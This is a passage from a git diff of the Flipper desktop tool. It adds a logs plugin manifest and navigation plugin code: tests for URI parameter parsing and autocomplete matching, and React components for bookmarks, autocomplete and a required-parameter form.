innerRef={this.setTableRef}
|
||||
floating={false}
|
||||
multiline={true}
|
||||
columnSizes={this.columnSizes}
|
||||
columnOrder={this.columnOrder}
|
||||
columns={this.columns}
|
||||
rows={this.state.rows}
|
||||
highlightedRows={this.state.highlightedRows}
|
||||
onRowHighlighted={this.onRowHighlighted}
|
||||
multiHighlight={true}
|
||||
defaultFilters={DEFAULT_FILTERS}
|
||||
zebra={false}
|
||||
actions={<Button onClick={this.clearLogs}>Clear Logs</Button>}
|
||||
allowRegexSearch={true}
|
||||
// If the logs is opened through deeplink, then don't scroll as the row is highlighted
|
||||
stickyBottom={
|
||||
!(this.props.deepLinkPayload && this.state.highlightedRows.size > 0)
|
||||
}
|
||||
/>
|
||||
<DetailSidebar>{this.renderSidebar()}</DetailSidebar>
|
||||
</LogTable.ContextMenu>
|
||||
);
|
||||
}
|
||||
}
|
||||
14
desktop/plugins/logs/package.json
Normal file
14
desktop/plugins/logs/package.json
Normal file
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"name": "DeviceLogs",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"dependencies": {},
|
||||
"title": "Logs",
|
||||
"icon": "arrow-right",
|
||||
"bugs": {
|
||||
"email": "oncall+flipper@xmail.facebook.com",
|
||||
"url": "https://fb.workplace.com/groups/flippersupport/"
|
||||
}
|
||||
}
|
||||
4
desktop/plugins/logs/yarn.lock
Normal file
4
desktop/plugins/logs/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
* @flow strict-local
|
||||
*/
|
||||
|
||||
import {filterMatchPatterns} from '../util/autoCompleteProvider';
|
||||
|
||||
import {URI} from '../types';
|
||||
|
||||
// choose all k length combinations from array
|
||||
const stringCombination = (patterns: Array<string>, k: number) => {
|
||||
const n = patterns.length;
|
||||
const returnArr: Array<string> = new Array(0);
|
||||
const args = new Array(k).fill(0).map((_, idx) => idx);
|
||||
(function build(args) {
|
||||
const pattern = args.map(i => patterns[i]).join('');
|
||||
returnArr.push(pattern);
|
||||
if (args[args.length - 1] < n - 1) {
|
||||
for (let i = args.length - 1; i >= 0; i--) {
|
||||
const newArgs = args.map((value, idx) =>
|
||||
idx >= i ? value + 1 : value,
|
||||
);
|
||||
build(newArgs);
|
||||
}
|
||||
}
|
||||
})(args);
|
||||
return returnArr;
|
||||
};
|
||||
|
||||
// Create a map of 364 pairs
|
||||
const constructMatchPatterns: () => Map<string, URI> = () => {
|
||||
const matchPatterns = new Map<string, URI>();
|
||||
|
||||
const NUM_PATERNS_PER_ENTRY = 3;
|
||||
|
||||
const patterns = [
|
||||
'abcdefghijklmnopqrstuvwxy',
|
||||
'ababababababababababababa',
|
||||
'cdcdcdcdcdcdcdcdcdcdcdcdc',
|
||||
'efefefefefefefefefefefefe',
|
||||
'ghghghghghghghghghghghghg',
|
||||
'ijijijijijijijijijijijiji',
|
||||
'klklklklklklklklklklklklk',
|
||||
'mnmnmnmnmnmnmnmnmnmnmnmnm',
|
||||
'opopopopopopopopopopopopo',
|
||||
'qrqrqrqrqrqrqrqrqrqrqrqrq',
|
||||
'ststststststststststststs',
|
||||
'uvuvuvuvuvuvuvuvuvuvuvuvu',
|
||||
'wxwxwxwxwxwxwxwxwxwxwxwxw',
|
||||
'yzyzyzyzyzyzyzyzyzyzyzyzy',
|
||||
];
|
||||
|
||||
stringCombination(patterns, NUM_PATERNS_PER_ENTRY).forEach(pattern =>
|
||||
matchPatterns.set(pattern, pattern),
|
||||
);
|
||||
|
||||
return matchPatterns;
|
||||
};
|
||||
|
||||
test('construct match patterns', () => {
|
||||
const matchPatterns = constructMatchPatterns();
|
||||
expect(matchPatterns.size).toBe(364);
|
||||
});
|
||||
|
||||
test('search for abcdefghijklmnopqrstuvwxy in matchPatterns', () => {
|
||||
const matchPatterns = constructMatchPatterns();
|
||||
const filteredMatchPatterns = filterMatchPatterns(
|
||||
matchPatterns,
|
||||
'abcdefghijklmnopqrstuvwxy',
|
||||
Infinity,
|
||||
);
|
||||
// Fixing abcdefghijklmnopqrstuvwxy, we have 13C2 = 78 patterns that will match
|
||||
expect(filteredMatchPatterns.size).toBe(78);
|
||||
});
|
||||
|
||||
test('search for ????? in matchPatterns', () => {
|
||||
const matchPatterns = constructMatchPatterns();
|
||||
const filteredMatchPatterns = filterMatchPatterns(
|
||||
matchPatterns,
|
||||
'?????',
|
||||
Infinity,
|
||||
);
|
||||
// ????? Does not exist in our seach so should return 0
|
||||
expect(filteredMatchPatterns.size).toBe(0);
|
||||
});
|
||||
|
||||
test('search for abcdefghijklmnopqrstuvwxyababababababababababababacdcdcdcdcdcdcdcdcdcdcdcdc in matchPatterns', () => {
|
||||
const matchPatterns = constructMatchPatterns();
|
||||
const filteredMatchPatterns = filterMatchPatterns(
|
||||
matchPatterns,
|
||||
'abcdefghijklmnopqrstuvwxyababababababababababababacdcdcdcdcdcdcdcdcdcdcdcdc',
|
||||
Infinity,
|
||||
);
|
||||
// Should only appear once in our patterns
|
||||
expect(filteredMatchPatterns.size).toBe(1);
|
||||
});
|
||||
|
||||
test('find first five occurences of abcdefghijklmnopqrstuvwxy', () => {
|
||||
const matchPatterns = constructMatchPatterns();
|
||||
const filteredMatchPatterns = filterMatchPatterns(
|
||||
matchPatterns,
|
||||
'abcdefghijklmnopqrstuvwxy',
|
||||
5,
|
||||
);
|
||||
expect(filteredMatchPatterns.size).toBe(5);
|
||||
});
|
||||
65
desktop/plugins/navigation/__tests__/testURI.node.tsx
Normal file
65
desktop/plugins/navigation/__tests__/testURI.node.tsx
Normal file
@@ -0,0 +1,65 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
* @flow strict-local
|
||||
*/
|
||||
|
||||
import {
|
||||
getRequiredParameters,
|
||||
parameterIsNumberType,
|
||||
replaceRequiredParametersWithValues,
|
||||
filterOptionalParameters,
|
||||
} from '../util/uri';
|
||||
|
||||
test('parse required parameters from uri', () => {
|
||||
const testURI =
|
||||
'fb://test_uri/?parameter1={parameter1}¶meter2={parameter2}';
|
||||
const expectedResult = ['{parameter1}', '{parameter2}'];
|
||||
expect(getRequiredParameters(testURI)).toEqual(expectedResult);
|
||||
});
|
||||
|
||||
test('parse required numeric parameters from uri', () => {
|
||||
const testURI =
|
||||
'fb://test_uri/?parameter1={#parameter1}¶meter2={#parameter2}';
|
||||
const expectedResult = ['{#parameter1}', '{#parameter2}'];
|
||||
expect(getRequiredParameters(testURI)).toEqual(expectedResult);
|
||||
});
|
||||
|
||||
test('replace required parameters with values', () => {
|
||||
const testURI =
|
||||
'fb://test_uri/?parameter1={parameter1}¶meter2={parameter2}';
|
||||
const expectedResult = 'fb://test_uri/?parameter1=okay¶meter2=sure';
|
||||
expect(
|
||||
replaceRequiredParametersWithValues(testURI, ['okay', 'sure']),
|
||||
).toEqual(expectedResult);
|
||||
});
|
||||
|
||||
test('skip non-required parameters in replacement', () => {
|
||||
const testURI =
|
||||
'fb://test_uri/?parameter1={parameter1}¶meter2={?parameter2}¶meter3={parameter3}';
|
||||
const expectedResult =
|
||||
'fb://test_uri/?parameter1=okay¶meter2={?parameter2}¶meter3=sure';
|
||||
expect(
|
||||
replaceRequiredParametersWithValues(testURI, ['okay', 'sure']),
|
||||
).toEqual(expectedResult);
|
||||
});
|
||||
|
||||
test('detect if required parameter is numeric type', () => {
|
||||
expect(parameterIsNumberType('{#numerictype}')).toBe(true);
|
||||
});
|
||||
|
||||
test('detect if required parameter is not numeric type', () => {
|
||||
expect(parameterIsNumberType('{numerictype}')).toBe(false);
|
||||
});
|
||||
|
||||
test('filter optional parameters from uri', () => {
|
||||
const testURI =
|
||||
'fb://test_uri/{?param_here}/?parameter1={parameter1}¶meter2={?parameter2}&numericParameter={#numericParameter}¶meter3={?parameter3}';
|
||||
const expextedResult =
|
||||
'fb://test_uri/?parameter1={parameter1}&numericParameter={#numericParameter}';
|
||||
expect(filterOptionalParameters(testURI)).toBe(expextedResult);
|
||||
});
|
||||
73
desktop/plugins/navigation/components/AutoCompleteSheet.tsx
Normal file
73
desktop/plugins/navigation/components/AutoCompleteSheet.tsx
Normal file
@@ -0,0 +1,73 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Glyph, styled} from 'flipper';
|
||||
import {useItemNavigation} from '../hooks/autoCompleteSheet';
|
||||
import {filterProvidersToLineItems} from '../util/autoCompleteProvider';
|
||||
import {AutoCompleteProvider, AutoCompleteLineItem, URI} from '../types';
|
||||
import React from 'react';
|
||||
|
||||
type Props = {
|
||||
providers: Array<AutoCompleteProvider>;
|
||||
onHighlighted: (uri: URI) => void;
|
||||
onNavigate: (uri: URI) => void;
|
||||
query: string;
|
||||
};
|
||||
|
||||
const MAX_ITEMS = 5;
|
||||
|
||||
const AutoCompleteSheetContainer = styled.div({
|
||||
width: '100%',
|
||||
position: 'absolute',
|
||||
top: 'calc(100% - 3px)',
|
||||
backgroundColor: 'white',
|
||||
zIndex: 1,
|
||||
borderBottomRightRadius: 10,
|
||||
borderBottomLeftRadius: 10,
|
||||
boxShadow: '0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24)',
|
||||
});
|
||||
|
||||
const SheetItem = styled.div({
|
||||
padding: 5,
|
||||
textOverflow: 'ellipsis',
|
||||
overflowX: 'hidden',
|
||||
whiteSpace: 'nowrap',
|
||||
'&.selected': {
|
||||
backgroundColor: 'rgba(155, 155, 155, 0.2)',
|
||||
},
|
||||
'&:hover': {
|
||||
backgroundColor: 'rgba(155, 155, 155, 0.2)',
|
||||
},
|
||||
});
|
||||
|
||||
const SheetItemIcon = styled.span({
|
||||
padding: 8,
|
||||
});
|
||||
|
||||
export default (props: Props) => {
|
||||
const {providers, onHighlighted, onNavigate, query} = props;
|
||||
const lineItems = filterProvidersToLineItems(providers, query, MAX_ITEMS);
|
||||
lineItems.unshift({uri: query, matchPattern: query, icon: 'send'});
|
||||
const selectedItem = useItemNavigation(lineItems, onHighlighted);
|
||||
return (
|
||||
<AutoCompleteSheetContainer>
|
||||
{lineItems.map((lineItem: AutoCompleteLineItem, idx: number) => (
|
||||
<SheetItem
|
||||
className={idx === selectedItem ? 'selected' : ''}
|
||||
key={idx}
|
||||
onMouseDown={() => onNavigate(lineItem.uri)}>
|
||||
<SheetItemIcon>
|
||||
<Glyph name={lineItem.icon} size={16} variant="outline" />
|
||||
</SheetItemIcon>
|
||||
{lineItem.matchPattern}
|
||||
</SheetItem>
|
||||
))}
|
||||
</AutoCompleteSheetContainer>
|
||||
);
|
||||
};
|
||||
126
desktop/plugins/navigation/components/BookmarksSidebar.tsx
Normal file
126
desktop/plugins/navigation/components/BookmarksSidebar.tsx
Normal file
@@ -0,0 +1,126 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
DetailSidebar,
|
||||
FlexCenter,
|
||||
styled,
|
||||
colors,
|
||||
FlexRow,
|
||||
FlexColumn,
|
||||
Text,
|
||||
Panel,
|
||||
} from 'flipper';
|
||||
import {Bookmark, URI} from '../types';
|
||||
import {IconButton} from './';
|
||||
import React from 'react';
|
||||
|
||||
type Props = {
|
||||
bookmarks: Map<string, Bookmark>;
|
||||
onNavigate: (uri: URI) => void;
|
||||
onRemove: (uri: URI) => void;
|
||||
};
|
||||
|
||||
const NoData = styled(FlexCenter)({
|
||||
fontSize: 18,
|
||||
color: colors.macOSTitleBarIcon,
|
||||
});
|
||||
|
||||
const BookmarksList = styled.div({
|
||||
overflowY: 'scroll',
|
||||
overflowX: 'hidden',
|
||||
height: '100%',
|
||||
backgroundColor: colors.white,
|
||||
});
|
||||
|
||||
const BookmarkContainer = styled(FlexRow)({
|
||||
width: '100%',
|
||||
padding: 10,
|
||||
height: 55,
|
||||
alignItems: 'center',
|
||||
cursor: 'pointer',
|
||||
borderBottom: `1px ${colors.greyTint} solid`,
|
||||
':last-child': {
|
||||
borderBottom: '0',
|
||||
},
|
||||
':active': {
|
||||
backgroundColor: colors.highlight,
|
||||
color: colors.white,
|
||||
},
|
||||
':active *': {
|
||||
color: colors.white,
|
||||
},
|
||||
});
|
||||
|
||||
const BookmarkTitle = styled(Text)({
|
||||
fontSize: '1.1em',
|
||||
overflowX: 'hidden',
|
||||
whiteSpace: 'nowrap',
|
||||
textOverflow: 'ellipsis',
|
||||
fontWeight: 500,
|
||||
});
|
||||
|
||||
const BookmarkSubtitle = styled(Text)({
|
||||
overflowX: 'hidden',
|
||||
whiteSpace: 'nowrap',
|
||||
textOverflow: 'ellipsis',
|
||||
color: colors.greyTint3,
|
||||
marginTop: 4,
|
||||
});
|
||||
|
||||
const TextContainer = styled(FlexColumn)({
|
||||
justifyContent: 'center',
|
||||
});
|
||||
|
||||
const alphabetizeBookmarkCompare = (b1: Bookmark, b2: Bookmark) => {
|
||||
return b1.uri < b2.uri ? -1 : b1.uri > b2.uri ? 1 : 0;
|
||||
};
|
||||
|
||||
export default (props: Props) => {
|
||||
const {bookmarks, onNavigate, onRemove} = props;
|
||||
return (
|
||||
<DetailSidebar>
|
||||
<Panel heading="Bookmarks" floating={false} padded={false}>
|
||||
{bookmarks.size === 0 ? (
|
||||
<NoData grow>No Bookmarks</NoData>
|
||||
) : (
|
||||
<BookmarksList>
|
||||
{[...bookmarks.values()]
|
||||
.sort(alphabetizeBookmarkCompare)
|
||||
.map((bookmark, idx) => (
|
||||
<BookmarkContainer
|
||||
key={idx}
|
||||
role="button"
|
||||
tabIndex={0}
|
||||
onClick={() => {
|
||||
onNavigate(bookmark.uri);
|
||||
}}>
|
||||
<TextContainer grow>
|
||||
<BookmarkTitle>
|
||||
{bookmark.commonName || bookmark.uri}
|
||||
</BookmarkTitle>
|
||||
{!bookmark.commonName && (
|
||||
<BookmarkSubtitle>{bookmark.uri}</BookmarkSubtitle>
|
||||
)}
|
||||
</TextContainer>
|
||||
<IconButton
|
||||
color={colors.macOSTitleBarButtonBackgroundActive}
|
||||
outline={false}
|
||||
icon="cross-circle"
|
||||
size={16}
|
||||
onClick={() => onRemove(bookmark.uri)}
|
||||
/>
|
||||
</BookmarkContainer>
|
||||
))}
|
||||
</BookmarksList>
|
||||
)}
|
||||
</Panel>
|
||||
</DetailSidebar>
|
||||
);
|
||||
};
|
||||
50
desktop/plugins/navigation/components/FavoriteButton.tsx
Normal file
50
desktop/plugins/navigation/components/FavoriteButton.tsx
Normal file
@@ -0,0 +1,50 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {styled, IconSize, colors} from 'flipper';
|
||||
import {IconButton} from './';
|
||||
import React from 'react';
|
||||
|
||||
type Props = {
|
||||
onClick?: () => void;
|
||||
highlighted: boolean;
|
||||
size: IconSize;
|
||||
};
|
||||
|
||||
const FavoriteButtonContainer = styled.div({
|
||||
position: 'relative',
|
||||
'>:first-child': {
|
||||
position: 'absolute',
|
||||
},
|
||||
'>:last-child': {
|
||||
position: 'relative',
|
||||
},
|
||||
});
|
||||
|
||||
export default (props: Props) => {
|
||||
const {highlighted, onClick, ...iconButtonProps} = props;
|
||||
return (
|
||||
<FavoriteButtonContainer>
|
||||
{highlighted ? (
|
||||
<IconButton
|
||||
outline={false}
|
||||
color={colors.lemon}
|
||||
icon="star"
|
||||
{...iconButtonProps}
|
||||
/>
|
||||
) : null}
|
||||
<IconButton
|
||||
outline={true}
|
||||
icon="star"
|
||||
onClick={onClick}
|
||||
{...iconButtonProps}
|
||||
/>
|
||||
</FavoriteButtonContainer>
|
||||
);
|
||||
};
|
||||
65
desktop/plugins/navigation/components/IconButton.tsx
Normal file
65
desktop/plugins/navigation/components/IconButton.tsx
Normal file
@@ -0,0 +1,65 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Glyph, styled, keyframes, IconSize} from 'flipper';
|
||||
import React from 'react';
|
||||
|
||||
const shrinkAnimation = keyframes({
|
||||
'0%': {
|
||||
transform: 'scale(1);',
|
||||
},
|
||||
'100%': {
|
||||
transform: 'scale(.9)',
|
||||
},
|
||||
});
|
||||
|
||||
type Props = {
|
||||
icon: string;
|
||||
outline?: boolean;
|
||||
onClick?: () => void;
|
||||
color?: string;
|
||||
size: IconSize;
|
||||
};
|
||||
|
||||
const RippleEffect = styled.div({
|
||||
padding: 5,
|
||||
borderRadius: 100,
|
||||
backgroundPosition: 'center',
|
||||
transition: 'background 0.5s',
|
||||
':hover': {
|
||||
background:
|
||||
'rgba(155, 155, 155, 0.2) radial-gradient(circle, transparent 1%, rgba(155, 155, 155, 0.2) 1%) center/15000%',
|
||||
},
|
||||
':active': {
|
||||
backgroundColor: 'rgba(201, 200, 200, 0.5)',
|
||||
backgroundSize: '100%',
|
||||
transition: 'background 0s',
|
||||
},
|
||||
});
|
||||
|
||||
const IconButton = styled.div({
|
||||
':active': {
|
||||
animation: `${shrinkAnimation} .25s ease forwards`,
|
||||
},
|
||||
});
|
||||
|
||||
export default function(props: Props) {
|
||||
return (
|
||||
<RippleEffect>
|
||||
<IconButton className="icon-button" onClick={props.onClick}>
|
||||
<Glyph
|
||||
name={props.icon}
|
||||
size={props.size}
|
||||
color={props.color}
|
||||
variant={props.outline ? 'outline' : 'filled'}
|
||||
/>
|
||||
</IconButton>
|
||||
</RippleEffect>
|
||||
);
|
||||
}
|
||||
240
desktop/plugins/navigation/components/NavigationInfoBox.tsx
Normal file
240
desktop/plugins/navigation/components/NavigationInfoBox.tsx
Normal file
@@ -0,0 +1,240 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
styled,
|
||||
colors,
|
||||
ManagedTable,
|
||||
TableBodyRow,
|
||||
FlexCenter,
|
||||
LoadingIndicator,
|
||||
Button,
|
||||
Glyph,
|
||||
} from 'flipper';
|
||||
import {parseURIParameters, stripQueryParameters} from '../util/uri';
|
||||
import React from 'react';
|
||||
|
||||
const BOX_HEIGHT = 240;
|
||||
|
||||
type Props = {
|
||||
isBookmarked: boolean;
|
||||
uri: string | null;
|
||||
className: string | null;
|
||||
onNavigate: (query: string) => void;
|
||||
onFavorite: (query: string) => void;
|
||||
screenshot: string | null;
|
||||
date: Date | null;
|
||||
};
|
||||
|
||||
const ScreenshotContainer = styled.div({
|
||||
width: 200,
|
||||
minWidth: 200,
|
||||
overflow: 'hidden',
|
||||
borderLeft: `1px ${colors.blueGreyTint90} solid`,
|
||||
position: 'relative',
|
||||
height: '100%',
|
||||
borderRadius: 10,
|
||||
img: {
|
||||
width: '100%',
|
||||
},
|
||||
});
|
||||
|
||||
const NoData = styled.div({
|
||||
color: colors.light30,
|
||||
fontSize: 14,
|
||||
position: 'relative',
|
||||
});
|
||||
|
||||
const NavigationDataContainer = styled.div({
|
||||
alignItems: 'flex-start',
|
||||
flexGrow: 1,
|
||||
position: 'relative',
|
||||
});
|
||||
|
||||
const Footer = styled.div({
|
||||
width: '100%',
|
||||
padding: '10px',
|
||||
borderTop: `1px ${colors.blueGreyTint90} solid`,
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
});
|
||||
|
||||
const Seperator = styled.div({
|
||||
flexGrow: 1,
|
||||
});
|
||||
|
||||
const TimeContainer = styled.div({
|
||||
color: colors.light30,
|
||||
fontSize: 14,
|
||||
});
|
||||
|
||||
const NavigationInfoBoxContainer = styled.div({
|
||||
display: 'flex',
|
||||
height: BOX_HEIGHT,
|
||||
borderRadius: 10,
|
||||
flexGrow: 1,
|
||||
position: 'relative',
|
||||
marginBottom: 10,
|
||||
backgroundColor: colors.white,
|
||||
boxShadow: '1px 1px 5px rgba(0,0,0,0.1)',
|
||||
});
|
||||
|
||||
const Header = styled.div({
|
||||
fontSize: 18,
|
||||
fontWeight: 500,
|
||||
userSelect: 'text',
|
||||
cursor: 'text',
|
||||
padding: 10,
|
||||
borderBottom: `1px ${colors.blueGreyTint90} solid`,
|
||||
display: 'flex',
|
||||
});
|
||||
|
||||
const ClassNameContainer = styled.div({
|
||||
color: colors.light30,
|
||||
});
|
||||
|
||||
const ParametersContainer = styled.div({
|
||||
height: 150,
|
||||
'&>*': {
|
||||
height: 150,
|
||||
marginBottom: 20,
|
||||
},
|
||||
});
|
||||
|
||||
const NoParamters = styled(FlexCenter)({
|
||||
fontSize: 18,
|
||||
color: colors.light10,
|
||||
});
|
||||
|
||||
const TimelineCircle = styled.div({
|
||||
width: 18,
|
||||
height: 18,
|
||||
top: 11,
|
||||
left: -33,
|
||||
backgroundColor: colors.light02,
|
||||
border: `4px solid ${colors.highlight}`,
|
||||
borderRadius: '50%',
|
||||
position: 'absolute',
|
||||
});
|
||||
|
||||
const TimelineMiniCircle = styled.div({
|
||||
width: 12,
|
||||
height: 12,
|
||||
top: 1,
|
||||
left: -30,
|
||||
borderRadius: '50%',
|
||||
backgroundColor: colors.highlight,
|
||||
position: 'absolute',
|
||||
});
|
||||
|
||||
const buildParameterTable = (parameters: Map<string, string>) => {
|
||||
const tableRows: Array<TableBodyRow> = [];
|
||||
let idx = 0;
|
||||
parameters.forEach((parameter_value, parameter) => {
|
||||
tableRows.push({
|
||||
key: idx.toString(),
|
||||
columns: {
|
||||
parameter: {
|
||||
value: parameter,
|
||||
},
|
||||
value: {
|
||||
value: parameter_value,
|
||||
},
|
||||
},
|
||||
});
|
||||
idx++;
|
||||
});
|
||||
return (
|
||||
<ManagedTable
|
||||
columns={{parameter: {value: 'Parameter'}, value: {value: 'Value'}}}
|
||||
rows={tableRows}
|
||||
zebra={false}
|
||||
/>
|
||||
);
|
||||
};
|
||||
|
||||
export default (props: Props) => {
|
||||
const {
|
||||
uri,
|
||||
isBookmarked,
|
||||
className,
|
||||
screenshot,
|
||||
onNavigate,
|
||||
onFavorite,
|
||||
date,
|
||||
} = props;
|
||||
if (uri == null && className == null) {
|
||||
return (
|
||||
<>
|
||||
<NoData>
|
||||
<TimelineMiniCircle />
|
||||
Unknown Navigation Event
|
||||
</NoData>
|
||||
</>
|
||||
);
|
||||
} else {
|
||||
const parameters = uri != null ? parseURIParameters(uri) : null;
|
||||
return (
|
||||
<NavigationInfoBoxContainer>
|
||||
<TimelineCircle />
|
||||
<NavigationDataContainer>
|
||||
<Header>
|
||||
{uri != null ? stripQueryParameters(uri) : ''}
|
||||
<Seperator />
|
||||
{className != null ? (
|
||||
<>
|
||||
<Glyph
|
||||
color={colors.light30}
|
||||
size={16}
|
||||
name="paper-fold-text"
|
||||
/>
|
||||
|
||||
<ClassNameContainer>
|
||||
{className != null ? className : ''}
|
||||
</ClassNameContainer>
|
||||
</>
|
||||
) : null}
|
||||
</Header>
|
||||
<ParametersContainer>
|
||||
{parameters != null && parameters.size > 0 ? (
|
||||
buildParameterTable(parameters)
|
||||
) : (
|
||||
<NoParamters grow>No Parameters for this Event</NoParamters>
|
||||
)}
|
||||
</ParametersContainer>
|
||||
<Footer>
|
||||
{uri != null ? (
|
||||
<>
|
||||
<Button onClick={() => onNavigate(uri)}>Open</Button>
|
||||
<Button onClick={() => onFavorite(uri)}>
|
||||
{isBookmarked ? 'Edit Bookmark' : 'Bookmark'}
|
||||
</Button>
|
||||
</>
|
||||
) : null}
|
||||
<Seperator />
|
||||
<TimeContainer>
|
||||
{date != null ? date.toTimeString() : ''}
|
||||
</TimeContainer>
|
||||
</Footer>
|
||||
</NavigationDataContainer>
|
||||
{uri != null || className != null ? (
|
||||
<ScreenshotContainer>
|
||||
{screenshot != null ? (
|
||||
<img src={screenshot} />
|
||||
) : (
|
||||
<FlexCenter grow>
|
||||
<LoadingIndicator size={32} />
|
||||
</FlexCenter>
|
||||
)}
|
||||
</ScreenshotContainer>
|
||||
) : null}
|
||||
</NavigationInfoBoxContainer>
|
||||
);
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,164 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Button, FlexColumn, Input, Sheet, styled, Glyph, colors} from 'flipper';
|
||||
import {
|
||||
replaceRequiredParametersWithValues,
|
||||
parameterIsNumberType,
|
||||
parameterIsBooleanType,
|
||||
validateParameter,
|
||||
liveEdit,
|
||||
} from '../util/uri';
|
||||
import {useRequiredParameterFormValidator} from '../hooks/requiredParameters';
|
||||
import React from 'react';
|
||||
|
||||
import {URI} from '../types';
|
||||
|
||||
type Props = {
|
||||
uri: string;
|
||||
requiredParameters: Array<string>;
|
||||
shouldShow: boolean;
|
||||
onHide?: () => void;
|
||||
onSubmit: (uri: URI) => void;
|
||||
};
|
||||
|
||||
const Container = styled(FlexColumn)({
|
||||
padding: 10,
|
||||
width: 600,
|
||||
});
|
||||
|
||||
const Title = styled.span({
|
||||
display: 'flex',
|
||||
marginTop: 8,
|
||||
marginLeft: 2,
|
||||
marginBottom: 8,
|
||||
});
|
||||
|
||||
const Text = styled.span({
|
||||
lineHeight: 1.3,
|
||||
});
|
||||
|
||||
const ErrorLabel = styled.span({
|
||||
color: colors.yellow,
|
||||
lineHeight: 1.4,
|
||||
});
|
||||
|
||||
const URIContainer = styled.div({
|
||||
lineHeight: 1.3,
|
||||
marginLeft: 2,
|
||||
marginBottom: 8,
|
||||
marginTop: 10,
|
||||
overflowWrap: 'break-word',
|
||||
});
|
||||
|
||||
const ButtonContainer = styled.div({
|
||||
marginLeft: 'auto',
|
||||
});
|
||||
|
||||
const RequiredParameterInput = styled(Input)({
|
||||
margin: 0,
|
||||
marginTop: 8,
|
||||
height: 30,
|
||||
width: '100%',
|
||||
});
|
||||
|
||||
const WarningIconContainer = styled.span({
|
||||
marginRight: 8,
|
||||
});
|
||||
|
||||
export default (props: Props) => {
|
||||
const {shouldShow, onHide, onSubmit, uri, requiredParameters} = props;
|
||||
const {isValid, values, setValuesArray} = useRequiredParameterFormValidator(
|
||||
requiredParameters,
|
||||
);
|
||||
if (uri == null || !shouldShow) {
|
||||
return null;
|
||||
} else {
|
||||
return (
|
||||
<Sheet onHideSheet={onHide}>
|
||||
{(hide: () => void) => {
|
||||
return (
|
||||
<Container>
|
||||
<Title>
|
||||
<WarningIconContainer>
|
||||
<Glyph
|
||||
name="caution-triangle"
|
||||
size={16}
|
||||
variant="filled"
|
||||
color={colors.yellow}
|
||||
/>
|
||||
</WarningIconContainer>
|
||||
<Text>
|
||||
This uri has required parameters denoted by {'{parameter}'}.
|
||||
</Text>
|
||||
</Title>
|
||||
{requiredParameters.map((paramater, idx) => (
|
||||
<div key={idx}>
|
||||
<RequiredParameterInput
|
||||
onChange={(event: React.ChangeEvent<HTMLInputElement>) =>
|
||||
setValuesArray([
|
||||
...values.slice(0, idx),
|
||||
event.target.value,
|
||||
...values.slice(idx + 1),
|
||||
])
|
||||
}
|
||||
name={paramater}
|
||||
placeholder={paramater}
|
||||
/>
|
||||
{values[idx] &&
|
||||
parameterIsNumberType(paramater) &&
|
||||
!validateParameter(values[idx], paramater) ? (
|
||||
<ErrorLabel>Parameter must be a number</ErrorLabel>
|
||||
) : null}
|
||||
{values[idx] &&
|
||||
parameterIsBooleanType(paramater) &&
|
||||
!validateParameter(values[idx], paramater) ? (
|
||||
<ErrorLabel>
|
||||
Parameter must be either 'true' or 'false'
|
||||
</ErrorLabel>
|
||||
) : null}
|
||||
</div>
|
||||
))}
|
||||
<URIContainer>{liveEdit(uri, values)}</URIContainer>
|
||||
<ButtonContainer>
|
||||
<Button
|
||||
onClick={() => {
|
||||
if (onHide != null) {
|
||||
onHide();
|
||||
}
|
||||
setValuesArray([]);
|
||||
hide();
|
||||
}}
|
||||
compact
|
||||
padded>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button
|
||||
type={isValid ? 'primary' : undefined}
|
||||
onClick={() => {
|
||||
onSubmit(replaceRequiredParametersWithValues(uri, values));
|
||||
if (onHide != null) {
|
||||
onHide();
|
||||
}
|
||||
setValuesArray([]);
|
||||
hide();
|
||||
}}
|
||||
disabled={!isValid}
|
||||
compact
|
||||
padded>
|
||||
Submit
|
||||
</Button>
|
||||
</ButtonContainer>
|
||||
</Container>
|
||||
);
|
||||
}}
|
||||
</Sheet>
|
||||
);
|
||||
}
|
||||
};
|
||||
117
